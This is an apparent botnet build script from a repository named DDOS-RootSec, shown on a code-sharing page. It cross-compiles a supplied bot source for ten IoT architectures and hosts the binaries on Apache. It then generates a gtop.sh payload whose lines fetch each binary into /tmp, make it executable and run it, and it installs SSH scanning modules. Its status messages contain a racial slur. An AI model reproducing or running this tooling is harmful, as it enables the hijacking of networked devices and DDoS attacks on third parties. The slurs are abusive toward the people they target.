Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Compilers/NSA-edit.d31f4f.sh
5038 views
1
#!/bin/bash
2
3
#########################################
4
###############Botnames##################
5
#########################################
6
L1='jackmymipsel' #mipsel
7
L2='jackmymips' #mips
8
L3='jackmysh4' #sh4
9
L4='jackmyx86' #x86_64
10
L5='jackmyarmv6' #armv6l
11
L6='jackmyi686' #i686
12
L7='jackmypowerpc' #powerpc
13
L8='jackmyi586' #i586
14
L9='jackmym86k' #m86k
15
L10='jackmysparc' #sparc
16
17
#########################################
18
##############Wgetlinks##################
19
#########################################
20
mips='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2'
21
mipsel='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2'
22
sh4='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2'
23
x86_64='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2'
24
armv6l='http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2'
25
i686='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2'
26
ppc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2'
27
i586='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2'
28
m68k='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2'
29
sparc='http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2'
30
echo "Usage: sh NSA.sh [BOTNAME.c] if not executed like this, it will not fucking work."
31
sleep 5
32
$myip="curl icanhazip.com"
33
apt-get install tar
34
yum install tar -y
35
36
#########################################
37
################Wgetting#################
38
#########################################
39
if [ -d cross-compiler-mips ]
40
then
41
echo -e "\e[1;32mcross-compiler-mips is present, no need for wget"
42
else
43
wget $mips
44
tar -xvjf cross-compiler-mips*
45
fi
46
if [ -d cross-compiler-mipsel ]
47
then
48
echo -e "\e[0;36mcross-compiler-mipsel is present, no need for wget"
49
else
50
wget $mipsel
51
tar -xvjf cross-compiler-mipsel*
52
fi
53
if [ -d cross-compiler-sh4 ]
54
then
55
echo -e "\e[1;32mcross-compiler-sh4 is present, no need for wget"
56
else
57
wget $sh4
58
tar -xvjf cross-compiler-sh4*
59
fi
60
if [ -d cross-compiler-x86_64 ]
61
then
62
echo -e "\e[0;36mcross-compiler-x86_64 is present, no need for wget"
63
else
64
wget $x86_64
65
tar -xvjf cross-compiler-x86_64*
66
fi
67
if [ -d cross-compiler-armv6l ]
68
then
69
echo -e "\e[1;32mcross-compiler-armv6l is present, no need for wget"
70
else
71
wget $armv6l
72
tar -xvjf cross-compiler-armv6l*
73
fi
74
if [ -d cross-compiler-powerpc ]
75
then
76
echo -e "\e[1;32mcross-compiler-powerpc is present, no need for wget"
77
else
78
wget $ppc
79
tar -xvjf cross-compiler-powerpc*
80
fi
81
if [ -d cross-compiler-m68k ]
82
then
83
echo -e "\e[1;32mcross-compiler-m68k is present, no need for wget"
84
else
85
wget $m68k
86
tar -xvjf cross-compiler-m68k*
87
fi
88
if [ -d cross-compiler-sparc ]
89
then
90
echo -e "\e[1;32mcross-compiler-sparc is present, no need for wget"
91
else
92
wget $sparc
93
tar -xvjf cross-compiler-sparc*
94
fi
95
if [ -d cross-compiler-i586 ]
96
then
97
echo -e "\e[1;32mcross-compiler-i586 is present, no need for wget"
98
else
99
wget $i586
100
tar -xvjf cross-compiler-i586*
101
fi
102
if [ -d cross-compiler-i686 ]
103
then
104
echo -e "\e[0;36mcross-compiler-i686 is present, no need for wget"
105
else
106
wget $i686
107
tar -xvjf cross-compiler-i686*
108
fi
109
rm -rf *.tar.bz2
110
echo " "
111
echo -e "\e[1;35mDone, You Lazy fucking nigger."
112
sleep 3
113
114
#########################################
115
##############Compiling#################
116
#########################################
117
./cross-compiler-mipsel/bin/mipsel-gcc -static -lpthread -pthread -DMIPSEL -o $L1 $1 > /dev/null 2>&1
118
./cross-compiler-mips/bin/mips-gcc -static -lpthread -pthread -Dmips -o $L2 $1 > /dev/null 2>&1
119
./cross-compiler-sh4/bin/sh4-gcc -static -lpthread -pthread -Dsh4 -o $L3 $1 > /dev/null 2>&1
120
./cross-compiler-x86_64/bin/x86_64-gcc -static -lpthread -pthread -Dx86_64 -o $L4 $1 > /dev/null 2>&1
121
./cross-compiler-armv6l/bin/armv6l-gcc -static -lpthread -pthread -Darmv6l -o $L5 $1 > /dev/null 2>&1
122
./cross-compiler-i686/bin/i686-gcc -static -lpthread -pthread -Di686 -o $L6 $1 > /dev/null 2>&1
123
./cross-compiler-powerpc/bin/powerpc-gcc -static -lpthread -pthread -Dpowerpc -o $L7 $1 > /dev/null 2>&1
124
./cross-compiler-i586/bin/i586-gcc -static -lpthread -pthread -Di586 -o $L8 $1 > /dev/null 2>&1
125
./cross-compiler-m86k/bin/m86k-gcc -static -lpthread -pthread -Dm86k -o $L9 $1 > /dev/null 2>&1
126
./cross-compiler-sparc/bin/sparc-gcc -static -lpthread -pthread -Dsparc -o $L10 $1 > /dev/null 2>&1
127
apt-get install apache2; apt-get install php5 -y -q
128
yum install httpd; yum install php -y -q
129
mv jackmy* /var/www/html/
130
echo -e "\e[1;35mRestarting your apache nigger..."
131
service httpd restart
132
service apache2 restart
133
134
#########################################
135
#########Setting up gtop.sh##############
136
#########################################
137
echo -e "\e[1;35mMaking payload..."
138
cd /var/www/html/; touch gtop.sh
139
140
echo -e "\e[1;35mThis will take a few., be patient.."
141
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L1 && chmod +x $L1 && ./$L1">> gtop.sh
142
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L2 && chmod +x $L2 && ./$L2">> gtop.sh
143
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L3 && chmod +x $L3 && ./$L3">> gtop.sh
144
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L4 && chmod +x $L4 && ./$L4">> gtop.sh
145
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L5 && chmod +x $L5 && ./$L5">> gtop.sh
146
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L6 && chmod +x $L6 && ./$L6">> gtop.sh
147
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L7 && chmod +x $L7 && ./$L7">> gtop.sh
148
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L8 && chmod +x $L8 && ./$L8">> gtop.sh
149
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L9 && chmod +x $L9 && ./$L9">> gtop.sh
150
echo "cd /tmp && wget -q http://$(curl -s checkip.dyndns.org | sed -e 's/.*Current IP Address: //' -e 's/<.*$//')/$L10 && chmod +x $L10 && ./$L10">> gtop.sh
151
152
#########################################
153
######Installing mods for scanning#######
154
#########################################
155
sleep 6
156
echo -e "\e[1;35mFinishing up install...."
157
yum install cpan wget curl glibc.i686 -y
158
cpan force install Parallel::ForkManager
159
cpan force install IO::Socket
160
cpan force install IO::Select
161
sleep 2
162
yum install gcc php-devel php-pear libssh2 libssh2-devel libpcap -y
163
pecl install -f ssh2
164
touch /etc/php.d/ssh2.ini
165
echo extension=ssh2.so > /etc/php.d/ssh2.ini
166
cpan force install Net::SSH2
167
168